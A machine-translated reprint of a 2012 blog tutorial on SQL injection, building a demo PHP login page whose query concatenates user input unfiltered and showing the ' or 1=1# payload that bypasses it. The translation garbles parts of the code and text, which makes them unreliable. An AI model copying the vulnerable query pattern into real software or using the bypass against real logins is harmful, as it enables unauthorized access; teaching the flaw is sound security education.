Implementation of login background with SQL injection vulnerability
Font: [Increase decrease] Type: Reprint time: 2012-01-12 I want to comment
Work needs, have to take a good tutorial on the Web security related knowledge, so essays this article, right when summed up, there is no meaning. Reading this article, I assume that the reader has the experience of writing SQL statements, or can read SQL statements as early as in 02, foreign about the SQL injection vulnerability of the technical articles have been many, and the domestic in about 05 years before the beginning.
Now, talk about whether the SQL injection vulnerability is outdated, the domestic large and small sites have been filled with loopholes. However, the hundred secret will have a sparse, invasion is accidental, but security is definitely not inevitable.
A few days ago, the uproar on the internet "dragged the bank" incident to us sounded a security alarm.
When developing a Web site, you need to filter the characters passed from the page for security reasons. In general, users can invoke the contents of the database via the following interfaces: URL address bar, login interface, message board, search box, etc. This often leaves the hacker with an opportunity. The data is compromised and the server is removed.
Now, a lot of web site developers know that they do not know why, the younger brother is also, so hurry up the evil, summed up such as learning content. Hope for beginners can play a role.
first, the steps of SQL injection
A) to find injection points (such as: Login interface, message board, etc.)
b) The user constructs the SQL statement (for example: ' or 1=1#, which is explained later)
c) Send SQL statements to the database management system (DBMS)
D) The DBMS receives the request and interprets the request as a machine code instruction to perform the necessary access operations
e) The DBMS accepts the returned result and processes it back to the user
Because the user constructs a special SQL statement, it must return special results (as long as your SQL statement is flexible enough).
Below, I'll show you a concrete example of SQL injection
second, the SQL injection example is detailed (the above test assumes that the server does not open MAGIC_QUOTE_GPC)
1) Pre-preparatory work
To demonstrate a SQL injection vulnerability, log in to the background administrator interface
First, create a data table for the experiment:
Copy CodeThe code is as follows:
CREATE TABLE ' users ' (
' id ' int (one) not NULL auto_increment,
' username ' varchar (+) not NULL,
' Password ' varchar (+) not NULL,
' Email ' varchar (+) not NULL,
PRIMARY KEY (' id '),
UNIQUE KEY ' username ' (' username ')
) Engine=myisam auto_increment=3 DEFAULT charset=latin1;
Add a record for testing:
Copy CodeThe code is as follows:
INSERT into Users (Username,password,email)
VALUES (' Marcofly ', MD5 (' Test '), ' [email protected] ');
Next, paste in the source code of the login interface:
Copy CodeThe code is as follows:
<title>sql Injection Demo </title>
<meta http-equiv= "Content-type" content= "Text/html;charset=utf-8" >
<body >
<form action= "validate.php" method= "POST" >
<fieldset >
<legend>sql Injection Demo </legend>
<table>
<tr>
<td> Username: </td><td><input type= "text" name= "username" ></td>
</tr>
<tr>
<td> Password: </td><td><input type= "text" name= "password" ></td>
</tr>
<tr>
<td><input type= "Submit" value= "commit" ></td><td><input type= "reset" value= "reset" ></td >
</tr>
</table>
</fieldset>
</form>
</body>
Attached:
When the user clicks the Submit button, the form data will be submitted to the validate.php page, the validate.php page is used to determine whether the user entered the user name and password have met the requirements (this step is very important, is often the SQL vulnerability)
The code is as follows:
Copy CodeThe code is as follows:
<title> Login Verification </title>
<meta http-equiv= "Content-type" content= "Text/html;charset=utf-8" >
<body>
<?php
[Email Protected]_connect ("localhost", ' root ', ') or Die ("Database connection failed! ");;
mysql_select_db ("injection", $conn) or Die ("the database you want to select does not exist");
$name =$_post[' username '];
$pwd =$_post[' password '];
$sql = "SELECT * from Users where username= ' $name ' and password= ' $pwd '";
$query =mysql_query ($sql);
$arr =mysql_fetch_array ($query);
if (Is_array ($arr)) {
Header ("Location:manager.php");
}else{
echo "Your username or password entered incorrectly, <a href=\" login.php\ "> Please login again! </a> ";
}
?>
</body>
Notice that no, we directly to the user submitted data (user name and password) directly to carry out, and did not implement special character filtering, later you will understand that this is fatal.
Code Analysis: If the user name and password are matched successfully, will jump to the Administrator interface (manager.php), unsuccessful, give a friendly prompt message.
Login Successful Interface:
Sign-in failure prompt:
Here, the pre-work is done, and the next step is to start our plays: SQL injection
2) Constructing SQL statements
After you have completed the correct username (marcofly) and password (test), click Submit and you will be returned to our "Welcome administrator" interface.
Because the user name and password that we submitted are synthesized into the SQL query statement after this:
SELECT * from users where username= ' Marcofly ' and password=md5 (' test ')
Obviously, the user name and password are the same as we gave earlier, will certainly be able to log on successfully. But what if we enter an incorrect user name or password? Obviously, it's definitely not going to get in. Well, this is normally the case, but for a Web site with a SQL injection vulnerability, you can successfully log in as long as you construct a special "string".
For example: In the User name input box, enter: ' or 1=1#, password random input, this time the synthesized SQL query statement is:
SELECT * from users where username= ' or 1=1# ' and Password=md5 (")
Semantic analysis: "#" is an annotation in MySQL, so that the content after the pound is treated as a comment by MySQL, so it won't be executed, in other words, the following two SQL statements are equivalent:
Copy CodeThe code is as follows:
SELECT * from users where username= ' or 1=1# ' and Password=md5 (")
Equivalent to
Copy CodeThe code is as follows:
SELECT * from users where username= ' or 1=1
Because 1=1 is always set up, that is, where clause is all the time true and the SQL is further simplified, it is equivalent to the following SELECT statement:
SELECT * from Users
Yes, the purpose of this SQL statement is to retrieve all the fields in the Users table
Tip: If you don't know the effect of single quotes in ' or 1=1# ', you can echo the SQL statement yourself.
See, a structured SQL statement has such a terrible destructive power, I believe you see this, began to SQL injection has a rational understanding of it ~
Yes, SQL injection is so easy. However, it is not easy to construct flexible SQL statements based on the actual situation. After you have the foundation, you have to go slowly to explore it.
Have you ever thought that if the data submitted through the Background login window is filtered out by the administrator for special characters? In this case, our universal user name ' or 1=1# ' is unusable. But this is not to say that we have no solution, to know that users and databases to deal with the way more than this one.
For more information on SQL injection please see my other blog post: Using SQL injection vulnerability to drag libraries
Original article: Web Development _ Xiao Fei
Reprint Please specify: http://www.cnblogs.com/hongfei/archive/2012/01/12/sql-injection-tuoku.html
Implementation of login background with SQL injection vulnerability
